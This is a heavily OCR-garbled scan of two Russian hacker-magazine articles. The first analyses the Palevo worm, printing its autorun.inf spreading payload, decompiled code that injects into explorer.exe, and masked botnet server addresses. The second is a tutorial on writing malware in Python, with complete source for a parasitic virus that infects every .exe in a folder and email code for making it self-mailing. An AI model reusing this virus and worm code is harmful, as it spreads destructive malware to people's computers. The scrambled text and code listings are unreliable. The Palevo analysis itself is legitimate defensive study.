В этой статье речь пойдет о черве Paievo - именно он ответственен за создание известного ботнета Mariposa. Напомню, что одного из хозяев этого ботнета удалось поймать испанской полиции в начале 201 О года. Сам червь обладает весьма обыденным функционалом: распространение с помощью autorun. inf через съемные носители, установка в автозагрузку, закачка файлов, показ рекламы и прочее.

Итак, я взял оди н из последних и самых свежих вариантов Palevo и п риступ ил к его последовательному разбору. Для начала - общие характеристики. Файл п редставляет собой РЕ 'шник размером в 1 66 Кб, в котором присутствуют ресурсы. В ресурсах содержатся и конки , которые очень похожи на и конки папок, отображаемых Explorer'oM. Безусловно, это сделано для того, чтобы сбить с толку неоп ытного пользовате­ля, который не сможет отличить настоящую папку от исполняемого файла. Также в ресурсах содержатся два String ТаЫе, в которых находятся фэйковые строки. Все эти ухи щрения используются созда­телями мал вари для того, чтобы файл стал выглядеть более «обыч­но». Ресурсы я дергал с помощью Resource Hacker'a. Названия четырех секций стандартны : .text, .rdata, .data и . rsrc, а вот название пятой , по-видимому, было сгенерировано случайным образом -Gjgpycll. П ричем в заголовке она идет второй, а не последней. Та к что же интересного мне удалось на йти при помощи визуального просмотра в H iew? Почти весь файл заш ифрован, однако у меня

� 074

получилось идентифицировать закриптованный РЕ-заголовок «вши­того» файла. О н обведен на скриншоте красн ым овалом. Помимо этого, несколько экранов зани мают случа йным образом сгенериро­ванные предложения . В этих предложениях есть и точ ки, и за пятые, и рандомные слова. Каждое из слов начинается с бол ьшой буквы . В ходе дал ьнейшего исследования выяснилось, что все эти строки бесполезны и добавлены в файл лишь для созда ния энтропии . Более ниче го интересного в ходе осмотра файла в H iew я не обна­ружил. Та ким образом, после п редва р ительного анализа удалось выяснить, что фа йл сильно косит под нормальный и, по сути , явля­ется дроппером , так как содержит зашифрованный РЕ-заголовок.

Отлаживаем! Следующий этап - непосредственный разбор под отладч иком. В качестве последнего я использовал I DA, применяя по необхо­димости декомп илятор Hex-Rays. С разу же после начала анализа я, не слишком удивившись, обнаружил несколько бессмысленных

Х А К Е Р 03 / 1 46/ 2 0 1 1

Page 67: Хакер март 2011

Фрагмент червя Palevo

вызовов API-фун кци Й . Например , GetCommandLi neW возвращает резул ьтат в ЕАХ. А в коде, который предста влен на иллюстра ции вслед за абзацем, видно, что после вызова АР I 'шки регистр ЕАХ заполняется произвольным значен ием. А затем идет реал изация одного из методов антиэмуляции. Вот как это работает. Вызы вается функция ОрепРгосеss, которая, как и любая другая функция, использует стек для хранения своих локальных переменных. После ее исполнения происходит обращение к исполь­зованному стеку, расположенному выше текущего ESP, при помощи инструкции MOV есх, [esp- l Ch]. В системе Windows ХР по адресу IESP - Ох l С ) , в дан ном контексте, распола гается дворд OxFFFFFFFF. Далее этот дворд используется в арифметической операции для вычисления адреса дальнейшего перехода при помощи RETN. Та кие техники я обнаружил сразу в нескол ьких местах во время раз­бора этого экземпляра Palevo. Первым фрагментом кода , несущим полезную нагрузку в файле, оказался небольшой цикл , который рас­шифровы вал другой участок кода. Цикл невероятно просто й :

add d , [ еах ] * 4 [ 0 0 0 4 2 4С 3 А ] , 0 6 В 9 7 0 0ВА

inc еах

стр еах , 0 0 0 0 0 0 1 3 D

j l 0 0 0 4 0 1 1 1 0

Вся расш ифровка заключена в одном АОО·е. Потом с помощью VirtualAlloc'a выделяется дополн ительная память, куда коп ируется только что расшифрованный участок кода . Туда же передается и последующее управление. Часть дальнейшего функционала до боли знакома. Это получение адреса kernel32.dll в памяти с помощью РЕВ'а и получение адресов экспорти руемых функций по их хэшам. А далее, как и ожидалось, происходит выделение еще одного участка памяти, копирование туда заш ифрованного РЕ 'шника , который я увидел в самом начале с помощью Hiew, и е го расшифровка. Однако здесь применяется уже более сложный алгоритм, нежели просто АОО. В конечном итоге этот код с помощью нехитрой техники запускает расшифрованный файл в адресном простра нстве исходного про­цесса. Что интересно , в коде, отвечающем за все эти операци и , я обнаружил строку M orphex РЕ32 Loader. Впол не воз можно, что это какой-то купленный автоматизирова нный за грузчик зашифрован ных РЕ- модулей . Для удобства я сдам пил часть адресного пространства, в котором располагается расшифрованный модул ь, и сохра нил его на диск как отдел ьный файл . В дал ьнейшем я буду называть этот файл дропом, чтобы отл ичать его от ориги нального Palevo. После двадцати ми нут исследования оказалось, что дроп крайне примитивен. Нап исан он на MSVC8 без каких-либо ухищрений типа обфускации или антиэмуляции . Оно и понятно: этот файл должен располагаться только в памяти, а не на диске. Основной его функ-

ХАКЕР 03 / 1 46/ 2 0 1 1

и 7 .. Fiпd\ofiпdоШl:("Рt"оgPlап" . i ) ; i F ( и 7 )

break; Sleep( OxC8u ) ;

CetWindowThreadPt'ocessld ( u7 . &dt�Pt"ocess I d ) ; и 8 - OpenProcess ( Ох2Аи. О . d�JProces5I d) ; hProcess - и8 ; if ( и8 ) (

u9 .. UirtualAllocEx(u8 . О . и6 + 280, О)(ЗООOU . 1bc40u ) ; i f ( u9 ) (

и1 О .. *« D\ЮRD *)и4 + З ) ; u12 " (int) (u9 + * « D\'IORD *)и4 + 2 ) - и 1 0) ; и24 .. О ;

-и23 .. и12 ; и11 .. ( int )&u4[ u1 О ] ; Tht"eadId ... О ; iF ( .« OI'IORD *)и4 + 5) > O u ) (

-

>

do (

>

и13 .. и 1 1 + *СDIЮRD *)&U4 [4 • Thread l d + 36] ; *( O\'IDRD .) и13 +- u9 ; .... Tht'ead 1 d ;

while ( Thread l d < *( <-ОlIORО .)и4 + 5) ) ;

if ( WritеРt"осеssНеgюrу(hРrосеss , 1.'9 , r.1.'4(*(CD�/ORD *) u4 + З » ) , u6 , t.Тhread I d ) (

u14 - (cha," *) u9 + u6 ; if ( WriteProcessHefltory(hP,"oCess . u 1 4 , &Buffer , Ox118u. t.Тhпаd I d ) )

СrеаtеRеllЮtе Thread ( hP,"ocess , О. О . (lPTHREAD_START_ROUТIHE ) « cha," *) u9 + *( CDWORD *) v4 + 6» ,

Фрагмент декомпилированного кода дропа

ционал - расшифровать код и проинже ктить его в ехрlогег.ехе. Hex-rays хватило около полутора экранов , чтобы поместить там весь функционал дропа. Если описывать его действия более подробно, то вначале он расшифровывает шелл код, затем ищет окно с классом Progman и , в случае успеха, получает ID процесса, которому при­надлежит это окно . Далее дроп открывает сам процесс, выделяет в нем память с помощью VirtualAllocEx, записывает туда шелл-код посредством WriteProcessMemoгy и запускает удаленный поток с помощью CreateRemoteThread. Напомню, что окна с классом Progman принадлежат Windows Explorer. Ита к, мы пришли к тому, что весь полезный функционал располагается в шелл- коде, который внедря­ется в процесс explorer.exe. Что же в действительности он делает? В начале - совсем общие вещи, а именно : прописывает автозагрузку по ключу H KLM\SOFТWARE\M icrosoft\Windows NnCurrentVersion\ Winlogon\TaskBar и копи рует ориги нальный файл в папку пользова­теля . Л юбопытно, что зловредный поток через небольшие и нтервалы времени проверяет содержи мое кл юча TaskBar и , есл и что-то не в порядке, восстанавливает его. Также я нашел распространение через autorun . i nf. И нтересно, что строка, которая будет выдаваться пользо­вателю при нажатии пра вой кнопкой мыши по съемному устройству, написана на испанском языке. Вот и весь a utorun . inf цел и ком :

shel1execute=vikipiki\ \ \raj laus . exe

action=Open folderato view f iles usingaWindowsaExplore

USEAUTOPLAY=l

� 075

Page 68: Хакер март 2011

00860127 8В 75 СС ",.,uyu",., , 0086012A F3 А4

0086012С 8В 4О С О ! .. �шоО2:Z, ОО86012F 8В 75 С4

00860132 F3 А4 "'o'ugoa : 00860134 8В 45 В4 ,�:�:��:��� � 00860137 8В С8

, 00860139 03 40 С8 jЕ::��:НШО086013С 03 110 СО 0086013F 8В 55 ВС 008601112

>eo'ug оа : 0086 01 112 >e.'UQUZ,<; 008601112 OF В6 1 8

: 008601115 8 5 О В : 00860147 711 1 F

" ! � " :J022 : 008601119 8 В F2 : 00860111В 81 С6 00 01 00 00 : 00860151 J:::::::.II!buQ 0�t2 : 00860151

022 : 00860151 3А 1 А _ ..... ,., �' .. ";. 022 : 0086 0153 711 05 : 00860155 112 �'_k,,,_''М : 00860156 ЭВ F2

1II0о .. ер IIIОО есх . [ebp-40h ] 1II0о esi , [ebp-ЗСh ] .. ер lIIousb IIIОо еах , [ebp-4Ch ] 1II0о есх , еах add есх , [еьр-З8h ] add есх , [ebp-IIОh ] IIIOО edx , [еьр-4IIh ]

10c_86 0142 : IIIOUZX test jz IIIОо add

еЬх , byte pt .. [еах] еЬх , еЬх sho .. t 1ос 860168 esi , edx -esi , 1 00h

10c_860151 : clIIp Ы , [edX ] j z s h o .. t 1 о с 86015А inc edx

-

ClllP esi , edx 1n7 �hn�t l nr. A�n1�1

Фрагмент кода, отвечающий за расшифровку встроен­ного исполняемого файла

open=vikipiki \ \ \ raj laus , exe

icon=shel 1 3 2 , dl l , 4

shel l \ \ \ Insta l l \ \ \command=vikipiki \ \ \raj laus , exe

shell \ \ \open\ \ \command=vikipiki \ \ \raj laus , exe

shell \ \ \explore\ \ \command=vikipiki \ \ \raj laus , exe

Shell \ \ \open \ \ \command=vikipiki \ \ \raj laus . exe

shellexecute=vikipiki \ \ \raj laus . exe

Кром е того, было выявлено , что червь п ытается подкл юч иться к одному из нескол ьких серверов по следующим адреса м :

* * * * * * . ananikol i c . su

* * * * . pi c keklosarske . ru

* * * * * . porn i c arke . com

* * * * * . l o smibrac a l a . org

9 2 . * * * . * 9 0 . 2 3 7

После этого о н ожидает команд от центра управления . Вот некоторые строки, которые используются в качестве ответов командному центру:

DONE !

FAI L !

Drive inf ec t ed : %с

USBS s t opped , %d i n fected

USBS not running

USBS a l ready running

Icon Group и String ТаЫе'ы, выдернутые из Palevo

STRINGТAВLE

I

· .t •• t : '"'1''' 61 " 21 111 .. • .t •• 1 : 1""822 Е' 9С .1 " ..

.t •• t :''''1827

.t •• t : '''11827 н .t •• t : 18I!11821 .:1 10 '. (' · .t •• t : ''''112'1 15 l' • ,t •• t : IIIII1120 57 • .с •• с : .... II82( 1. '. • . t •• t :''''11O' С6 IiIS f. ЕI • .t"lCt : ' .. "a.\ .2 6S Ее " • .t.xt: .... l1a. " IS 16 " .\1 "

. tt_t : ''''1 13Е

. t.llt : ..... ,IQ( •• . t •• t : t8ll.,at ЕI lе 11 .. ..

• .t •• t :I"111U .. 1S С2 _ 11 · .t •• t : ."" .... 6. 111 '. " .. · .t •• t : '"11''' [. 11 '1 .. .. • . t •• t :1""152 6. (, • .t •• t : .... 81I5' '11 11 · . t •• t :.""1S6 ,. 12 · .t •• t :I""151 ЕI 71 11 .. ..

• .t.xt: ..... ,166 .( 17 , . .... .. • .t •• t:.""" • • 2 (С "

10С_'''127: с,. ( •• , . .., .. r .. ') , .J'JFtFf" j,.z s"ort 10С_"'13[ 'US" .'1 sbb .'1, .Ь. м., [f'II',.",.ar_,,) . ... .а,.4 ('lI'p • ..,.ar_"I . '11" .or • .ах. '''''''_''211'

IK_II"I3E: с.l1 C.tCo"'ndLiIМ'W м.., • .ах, n8C2"/Sn puS" o'lI.t .a[Jos'o�nttCxqkd с.ll Ch.r",xt. ,,,,sh wн:rrrпь ''''5'' , push 2: с.ll op.n,roc.ss

; соо! XIt[J: st.wt'2:'1J

: ·TJDSfoynu 'xqkd··

; dtlll'roc,ssl' ; ItIn".r1tM.ndlf ; dWO.sir.'.cctSS

• .t •• t : '''''''E '' ос ____ ._��.....!=�� _____________ _

Кусочек стартового кода

USBS s tarted

Advert i s ing : %s

Adware2 s t oppe d , %d URLs d i splayed

Adware a l ready running

Adware not running

Adware2 running : %d browsers , %d URLs

Error = % d , GLE=%d

Already down loaded id=%d

Downloading % s t o %s

Done , %s

Как м ожно понять из этих строк , в фун кционал Pa levo входит скачивание других файлов по кома нде и показ рекл а м ы . Кстати , ш елл- код не сразу содержит все да н н ы е в открытом в иде. Вначале п рогоняется бол ьшой цикл для их расшифровки , после чего эту па мять ста новится возможн ы м спокойно да м п ить и под­робно рассматри вать в H iew и/ил и I DA.

Заключение Как види шь, этот червь оказался совсем не стра ш н ы м . Конечно , его разработчи ки применили кое- какие трюки для усложнения анализа - несколько антиэмуляционных техник , фэйковые вызовы АРI 'шек и инже кт в па мять другого п роцесса. Но разве они способ­ны нас на пугать : ] ? Да , кстати , чтобы остаться в системе, малварь прописывается в автозагрузку в реестре и непрерывно мониторит соответствующий ключ из создан ного потока в п роцессе explorer.exe. Расп ространение через a utorun . i nf - уже прошлый век. Уч иты вая, что Palevo может скачивать файлы и показывать рекламу по команде, разработчики , скорее всего , испол ьзуют его для расп ростра нения других «зака­зов» . А это могут быть как рекла мные п рограм мы , так и зловреды, крадущие персональные данные. I

а u LANGUAGE LANG_ENGLISH , SUВLANG ENGLISH US

{ STRINGTAВLE

4 8 , " Fdaidf" 4 9 , " Gab" 5 0 , " Rknk . Sw" 5 1 , " I tvl " 5 2 , " Jkfc Ох " 53 , "Tmohvkiq" 5 4 , "Anfзlig" 5 5 , "Uif " 5 6 , "Vayo . Fctqx"

}

LANGUAGE LANG_ENGLISH, SUВLANG ENGLISH US

{ 2 0 8 , "ИЬрзз Иfh" 2 0 9 , "Ohqnlr Wm" 2 1 0 , " Ltknlfbyu" 2 1 1 , "Thxt , Sзhw" 2 12 , "Xtmw Jзivq"

}

ХАКЕР 03 1 1 46/ 2 0 1 1

Page 69: Хакер март 2011

• • d e e o n i s deeonisffigma i L.com

и Изучаем возможности полноценного злокодинга на l1нтерпретируемом языке НОВЫЙ год - самое время для легких извращений. Хотя для тебя,

v v

читающего эту статью практически веснои, год уже не новыи, да и сама идея изучения вируса, написанного на питоне, может по казаться вовсе даже не легким извращением . . .

Как из вестно, с помощью п итона можно решать множество повсед­невных , рути нных зада ч : периоди ческое резервное коп ирование файлов , отп равка писем по электронной почте, поиск и вы полне­ние различных действий с файлами на жестком диске и прочее, Та к как Руthоп является языком программирования высокого уров­ня, то и вирусы на нем можно писать соответствующие, 3лов реды, созданные с помощью Я ВУ, обычно классифици руются как H LLx [H i gh Level La nguage , х - метод размножения ) , Существуют три основных подвида H LLx-вирусов : оверврайтеры [Oveгwrite) - H LLO , компаньоны [Companion) - H LLC и паразиты [ Parasit ic) - H LLP, Первые явля ются достаточно примитивными программами , кото­рые п росто п ерезаписыва ют код жертвы своим кодом , вследств и е чего ориги нальная п рограмма перестает существовать, Та кие ви ру­сы очень п росты и весьма разруш ител ьны , В резул ьтате э п идемии такой заразы пользовательский компьютер практически пол ностью л и шается всего уста новленного ПО, Н ичем иным кроме вандализ­ма это назвать нел ьзя , Вирусы-компаньоны более гуманны к исполняемым файла м, кото­рые они «заражают», Слово « за ражают» Я специально взял в ка выч­ки , так ка к на самом деле Н L LС-зловреды п росто присваивают себе

имя жертвы, а оригинальный э кзешник переименовыва ют [а могут и зашифровать - при м, ред,) во что-нибудь другое, Та ким образом, они подменяют пользовател ьский софт своими копиями , а для боль­шей маскировки за пускают оригинальную программу из файла с новым именем, И пользователь доволен , и вирус остался жив, H LLP являются самыми п родвинутыми из Я ВУ-вирусов, Они внедряются непосредственно в файл-жертву, сохра няя при этом работоспособ­ность ориги нального кода, Из-за особенностей высокоуровневых языков программирования полноценного инжекта, как у « взрослых» вирусов на ассемблере , добиться очень сложно, П оэтому паразиты получаются не сл ишком элегантн ыми созданиями , но, к сожалению, это практически потолок того, что можно выжать из Я ВУ, В связи с тем , что как H LLO-, та к и Н LLС-вирусы сл и ш ком прими­тивны И практически не встреча ются в ди кой при роде, мы займем­ся разработкой здовреда-паразита, Основной метод, испол ьзуемый и м и для заражения - внедрение в один файл с кодом-же ртво й , Та ким образом сохраняется код ориги нальной программы , и при этом н е появляется н и каких л и ш них следов, Существует много вариаций на тему Н LLР-зловредов, н о мы реа­лизуем самую простую из них, Вирус будет писать в начало файла­жертвы свое собственное тело - цел и ком , со всеми заголовками

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 70: Хакер март 2011

и служебными структурами . Код « хорошей» п рограммы при этом будет смещен на дл ину вируса. То есть, сна­чала будет выполняться вирус, который в конце своего черного дела за пустит ори гинал ьную програм му, чтобы лишний раз не вызы вать подозрения у пользователя. По традиции взглянем на код:

Код НLLР-вируса import sys

import os

import shut i l

virPath = os . path . sp l i t ( sys . argv [ O ] ) ;

names = os . l istdir ( ' . ' ) ;

fvir = open ( sys . argv [ O ] , ' rb ' ) ;

virData = fvir . rеаd ( 1 9 4 5 б ) ;

for пате in names :

namePair = os . path . spl itext ( name ) ;

i f naтePa i r [ l ] == ' . ехе ' and \

пате ! = virPath [ l ] :

oS . rename ( name , пате + ' tmp ' ) ;

fprog = ореп ( пате + ' tmp ' , ' rb ' ) ;

progData = fprog . read ( ) ;

fnew = ореп ( пате , ' wb ' ) ;

fnew . wr i t e ( virData + progDat a ) ;

fnew . close ( ) ;

fprog . c lose ( ) ;

os . remove ( name + ' tmp ' ) ;

origProgData = fvir . read ( ) ;

origProg = ' or ig i nal_ ' + virPath [ l ] ;

forig = open ( o rigProg , ' wb ' ) ;

forig . write ( origProgDa t a ) ;

fvir . c lose ( ) ;

fori g . close ( ) ;

os . execl ( or igProg , ' ) ;

П ервым дел ом м ы подкл ючаем три м одул я : sys, os , shu t i l . М одул ь sys дает доступ к перемен н ы м , кото рые тесно связаны с интерпретато ром или с выпол н я е м ы м скриптом . Та к, например , мы получаем и м я вы полняе­мого скрипта с помощью кома нды sys . a rgv[OJ . М одул ь os дает возможность вы полнения команд, завися щих от операционной систе м ы . Например , получ ить список файлов в директории , произвести над н и м и некоторые операции и та к далее . Н а конец, м одуль shu t i l дает воз м ожность ко п и ровать и перемещать файл на жест­ком диске . После импорта нужных нам модулей м ы узнаем и м я файла, в кото ром содержится исходн ый код в и руса . Затем с пом ощью кома нды os. l ist d i r[ ' . ' 1 получаем с п и сок файлов в текущей директо р и и и п роверяе м , является л и оче редной объект в списке экзешником . Есл и про верка это подтве рждает, то и нфицируем най­денный файл , п росто заменив е го собой. Если ты ч итал в н и мател ьно , то заметил , что в условии опе рато ра i f п р исутствует еще вот такая инструкци я : п а т е 1 = vi rPat h [ l J , а пе ред этим выполняется кома нда

ХАКЕР 03 / 1 46/ 20 1 1

... - . .. cdIect!ons..py .ьс." OS.P'f # COpyrigllt 2887 6009t., IIК. Atl R{gilts R.s.rwd. t tiC:e'l5H to PSf !a'drr o CClnvi.butot' AgreeJer1lt. �·"АЬstгиt Bo1IS(! Clllssts (A8Cs) ilссordiпв to РЕР 3119. ···

def abstl"o1Ict.ttnod(func;obj): ---А dе<:or.ltor lndlСoiltiпg ;lЬstr-;аct ееthods .

Requires tblt th' lII!to1lclllSS 15 AВCIWt. or derivfd f-rl:. it. А Clo1lSS tNt MS o1I .-t;lсlo1lss d'I"!ved ff'(lll A8Oleto1l сo1lnnot Ье iпsto1f1tlilted unl'SS illl of iа lbstг.сt _tlюdS o1l!"е oveгridden. Thе аЬstroJ(t llethodS Сo1iп Ье с .. l1ed using ')пу of thеtМ l'IOПD.iIl

' super ' cill lll!chaniUlS.

сl.ss С(_tиlilss�t.) ; �bstro1lctlJethod clef lll'j_.bstrllct_lItthod(stlf • . . . ) ;

funcоЬj ._iяbstГo1lcbloethod _ _ Тrv4 retum funcobj

II ,W'�";..;;;: .. .р:;<,/_=_=='-..",J clllSs .ilbstro1lctproperty(property) : ='15.py ···A decor;!tol' lndlc;!tlnl ;!bst"oIIct p�rties.

.. -"""""" ""'''' " 1ntroduc:tIon.rst .. - -

_ .. --"

Requlres thollt the lltt;!cl�ss is A8CНet;! OI" wi\led f,.,. 1t. А clollss thilt hils oII eetilclilss derived fl'C8 AВOtetil cilМOt be lnst<lntiilted unle5s illl of 1tS ollbstroКt propertles ollrt Olle,.,.lddfn . The ollbstrilct properties collfl M cillled usil\& any of the the llOl"'8ill ·sUJ!E'r · cilll eechilnlU1$.

cl�ss C(lК!t;aclilss_AВCr.etoll) : �bstriКtproperty

в емаксе тоже можно кодить на питоне

virPath = os .pa th . sp li t [sys .a rgv[O J I . Дл я чего это нужно , я расс кажу в конце статьи , а пока двинемся дал ьше . П еред оператором if мы считываем в память собствен­ное содержимое. Делается это с помощью команды fvir. read[ 1 9456!. Число 1 9456 - это длина вируса [мы ведь должны учесть, что в файле находится не только вирус, но и жертваl . Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все ехе 'шн ики и заражаем их. Для этого, зара­нее переименовав невинную программку, мы читаем ее код в буфер , затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после -считанный только что буфер. Далее сохра няем все это

Литературы по питону предостаточно. В том числе и на английском

_ 5,ouc:""" • . -• ta" AIIO TUlU8 . ­. fJr:t..-. -.. I.I=========;;;;;:::} ;XIfТJIL "/CSS" . CQI . c..wu • cuss АПR8.RU . cw. c:us ......... • ""MNa · 11" ... _ • GUVfIWR • pmtot8 МlM WI8ll1l . _ -. Rl:IUI.М � :� . . ,.... . , = ........ . ..... ---. .-

-­. -. � . -., . l1li ...... -. n.. _ . --. . -. ...-. . _ - '­(1'11')

� warn i ng Написа ние ви русов - уголовно наказуемое дело. Н и когда не занимайся та кими веща м и l И нформация, п редставленная в статье, опубликована исключ ительно в образовател ьных целях .

� 079

Page 71: Хакер март 2011

D COPYING D INSTAll D Makefile

8 1 start = о end = string . f i nd ( args , ' , , ) if ( end == - 1 ) :

end = len ( args )

while ( st a rt < len ( args » : аm = argmatch . match ( args [ ( st art ) : end] )

if аm : D Makefile.in

D POATING D aclocal.m4

D config.guess

D config.log

1 8 3

1 8 4 1 8 5

1 8 6 1 8 7

1 8 8 1 8 9

1 9 0 1 9 1

192 1 9 3 1 9 4 # 1 9 5

1 9 6 1 9 7

19 8

199

2 0 0 2 0 1

pf . setparamtype ( s t r i n g . st r ip ( am . group ( 2 » , st r ing . st r ip ( am . grouI

D config. status

D conflg.sub

D configure

D configure.ac

D Install-sh

v l!:> examples

1> I!:> atk-1 .2.0

1> I!:> bfref

1> I!:> bfref2

1> I!:> glib-2.2.1

1> I!:> gtk+-2. 2. 1

1> I!:> gucharmap

1> I!:> pango-1 . 2. 1

D atk-1 .2.0.tar.bz2

D bfref.tar.gz

D bfref2.tar.gz

st art = ( end+ 1 )

e n d = st r i n g . f i nd ( args , ' , ' , st a rt )

i f ( end == - 1 ) :

end = len ( args )

pl· : � r ' dr:::-c � d d • • 1 : ' +deL ' ard :io!] pf _ pr i n t f ref ( ) p f = I lon<:

l i ne = f d . readl ine ( ) i f ( f ound_f unct i on ) :

print ' </ group> ,

2 0 2 def parse_dir ( di rname , g roupname ) : 2 0 3 dirl ist ing = os . l i stdi r ( di rname ) 1

dirl ist ing . sort ( ) print I <group пате=" ' +groupname+ l lI > I

for entry in dirl ist i ng :

i f (entry [ - 2 : ] == ' . с ' and not os . pat h . isdi r ( di rname+en t ry» : parse_f i l e ( d i rname+entry)

print ' </ group> ,

11 parse_di r ( ' gtk+ - 2 . 2 . 1 / g t k/ ' , ' gt k ' )

12 parse_di r ( ' g t k + - 2 . 2 . 1 / gdl:/ " ' gdk ' ) parse_d i r ( ' g l ib - 2 . 2 . 1 / g l ib/ ' , ' gl ib ' )

Питон WТYJ<a кроссматформенная, можно и под Linux что-нибудь наваять

хозяйство и удаляем оригинальный файл жертвы с помощью команды оs.геmоvеlпаmе+ ' tmp , ) .

Теперь наступает са мый ответственный момент - нам надо запу­стить ориги нальн ый код, который мы предварительно засунули внутрь зловреда. Для этого п росто читаем оставшиеся да нные из образа вируса IMbI ведь помним , что уже читали 1 9456 байт и указа­тель сместился в файле на эту позицию?) , а затем сохраняем полу­ченные данные во временный ехе, который потом запускаем. Та ким образом вирус корректно отработал, и при этом запустил нужную для пребы вающего в счастливом неведении пользователя програ мму. Конечно , наш зловред получился вовсе не без н едостатков . Н а п р и м е р , о н н е проверяет, и нфицирован л и уже э кз е ш н и к или н ет, д а и вби вать в код р а з м е р кон е ч н о го файла в и руса

Отправка письма import srntplib

f rorn erna i l . rnirne . text irnport MIMEText

rnsg = MIMEText ( ' Message text ' )

# rnе = = ernai l отправителя

# уоu == erna i l получателя

rnsg [ ' Subj ect ' ] = ' Te s t rnes s age '

msg [ , From , ] = те

msg [ , То ' ] = уоu

s = srntp l i b . SMTP ( ' ' )

s . sendmai l ( те , [уоu ] , rnsg . as_s t ring ( ) )

s . qu i t ( )

- н е совсем уда ч н ое решение . Кроме того, у н а ш е го п итомца будут воз н и кать пробл е м ы при первом за пус ке, когда в образе находится тол ько тел о в и р я , а тело жертвы отсутствует. Н о все эти п ро бл е м ы при оп редел е н н о м ста р а н и и вполне р е ш а е м ы . Гла в ное дл я н а с - п роде монстри ро вать п р и н ц и п ра боты .

Сетевой червь М ы сдел али классического и нфектора , кото рый расп ространяется путем заражения близл ежа щих п ро гра м м . Но ведь есть еще и сетевые черви , которые испол ьзуют и нтернет дл я порабощения мира . Злов реды такого типа не и нтересуются файловой системой ком пьютера , и м нужен доступ в сеть.

Здесь мы используем библиотеку smtpl ib и входя щий в нее па кет M I M EText. Код настолько п рост, что не требует особых разъясне­ний . Единственное, на что стоит обратить внимание , та к это на авторизацию на SMTP-сервере. Есл и для отправки сообщения требуется ввести логин и парол ь, то пр идется вызвать е ще одну допол н ител ьную функцию. Так как наш ви рус является файлом, нам надо приаттач ить его к п исьму. Для этого п ридется и м портировать еще пару дополн ител ьных библиотек и нап исать немного кода. Будет это выглядеть примерно та к :

Для расп ростра н е н и я черви пол ьзуются дырами в операци­о н н о й систем е и п р и кл адн ых програ ммах , рассылают себя по электронной почте и так далее . Мы поп робуем сделать в и рус, котор ы й будет и с п ол ьзовать и м е н н о e-mа i l· bI . Дл я начала да вай посмотрим , к а к с помощью Руthоп отправить письмо . Небол ьшой п ри м е р ч и к, от кото рого м ы будем отталки­ваться в дал ь н е й ш е м :

� 080

Отправка письма с вложением import srnt p l ib

import rnirnetypes

from erna i l irnport encoders

from ema i l . rnime . mu l t ipart import MIMEMul t ipart

f rom erna i l . mime . base irnport MIMEBase

Х А К Е Р 03 / 1 46/ 2 0 1 1

Page 72: Хакер март 2011

Работа над вирусом в самом разгаре

outer MIMEMu l t ipart ( )

# те = = emai l отправителя

# уоu == emai l получателя

outer [ ' Subj ect ' ] = ' Te s t message '

outer [ ' From ' ] = те

outer [ ' To ' ] = уоu

ctype , епсоdiпg = mimetype s . guess_type ( path_to_ f i l e )

i f c type i s None o r encoding i s not None :

ctype = ' appl icat ion/oc t e t - st r e am '

maintype , subtype = c type . sp l i t ( ' / ' , 1 )

fp = open ( path_to_ f i l e , ' rb ' )

msg = MIMEBa s e ( ma intype , subtype )

msg . set-payl oad ( fp . read ( ) )

fp . c lose ( )

encoders . encode_bas e 6 4 ( msg )

msg . аdd_hеаdеr ( ' Сопtепt -Disро s i t iоп ' ,

' at tachment ' , f i l ename = f i l e_name )

outer . attach ( ms g )

s = smtp l i b . SMTP ( " )

s . sendma i l ( me , [ уоu ] , outer . as_st r ing ( ) )

s . qu i t ( )

в и м п о рте у нас поя вилась библ и отека m i m etypes, а та кже модул и е псоd е гs , M I M E M u lt i part и M I M E Base . M I M E M u lt i p a rt позвол я ет формировать ема йл-сообще н и е из разл и ч н ы х видов да н н ы х !текст. карти нки и п рочее ) . M I M E Base работает с фа й ­л а м и п роиз вол ьн ого т и п а - н а п р и м е р , е х е . В кач естве основы сообщения м ы берем п е р е м е н ную типа M I M E Mul t i pa rt и доба в­л я е м к н е й объект M I M EBase , в кото р ы й п редва р ител ьно сч ита ­л и и декодировали в base64 соде ржи м о е нуж н о го нам файла . Те перь , когда в и рус может сам себя отп ра влять в эл е ктронном

ХАКЕР 03 1 11. 6 1 20 1 1

сообще н и и , дело осталось з а м ал ы м - найти , кому отп р а в ить e-ma i l. Тут п олет фанта з и и в и р м е й кера н а питоне н и чем не огра н и ч е н . Можно, н а п р и м е р , п о и с кать адреса на жестком диске , п роска н и р о в а в все и м еющиеся на нем ф а йл ы . А можно воспол ьзо ваться адрес ной книго й O ut look . Для п оследн е го тебе п онадобится па кет Руthоп Wiп32 Ехtепs i опs .

Несколько замечаний С а м ы е сообраз ител ь н ы е м о гут з адать оди н маленький в о п р о с : « П итон - это с к р и пт ы , а е х е - б и н а р и . Ка к скри птом можно зараз ить и с п ол н я е м ы й ф а йл Windows?». Ответ на н е го о ч е н ь п р ост - п ито новские скри пты м о ж н о конв е рти ро вать в е х е ­файлы . Да-да , и дела ется это о ч е н ь л е гко. Тут я о п исы вать п р оцесс н е буду !ты ведь не хочешь , чтобы младшая сестренка , взяв в руки Н , получ ила бы и с ч е р п ы в а ю ще е руков одство п о у н и чтоже н и ю твоего же ко м п а : 1 1 , та к что з а п одробн остя м и - к Гуглу. в связи с те м , что н а ш и в и русы будут в ы п ол н яться не как скри п ­ты, а ка к пол н оцен н ы е wi п - п риложе н и я , в коде встретилась п а ра н е п о н ятн ых вещей , о которых я обещал расска зать п озже. П е рвая из н и х - это вызов os .pa th . sp l i t ! ) . Дело в то м , что если м ы запуска е м п итон-скри пт, то кома нда sys.argvlOJ воз в р а ща -ет и м я этого скрипта ! например , v i rus .py ) . В случае же с ехе­файлом резул ьтат будет другой - п ол н ы й путь и имя э кз е ш н и ка I С :\Wiпdоws\vi гus .ехе ) . А та к как дл я дал ь н е й ш и х злоде я н и й нам нужно только и м я файла , то м ы вызываем os . pa th . sp l i t l ) . Еще одна за гадка - это ч и сло 1 9456 . Н о тут уже л е гко можно до гадаться , что это размер ехе , п олуч е н н ого п осле кон в е рта­ции скриnта. Ровно стол ько у меня весил зловред после своего пере рожде н и я в б и н а р н ы й формат.

Заключение Конечно , н а п и с а н и е зловредов н а Руt h о п - то еще извраще ­н и е , н о п р и бол ь ш о м жел а н и и та к и е п оделки м о ж н о отш л и фо­вать до нужной сте п е н и ра ботоспособн ости , поста вить н а пол ку и всем п о каз ы вать. К тому же в и рус будет кросс платф о р м е н н ы м , а эти м н е каждый круто й в и р м е й ке р может похвастаться : 1 . :х:

� 081

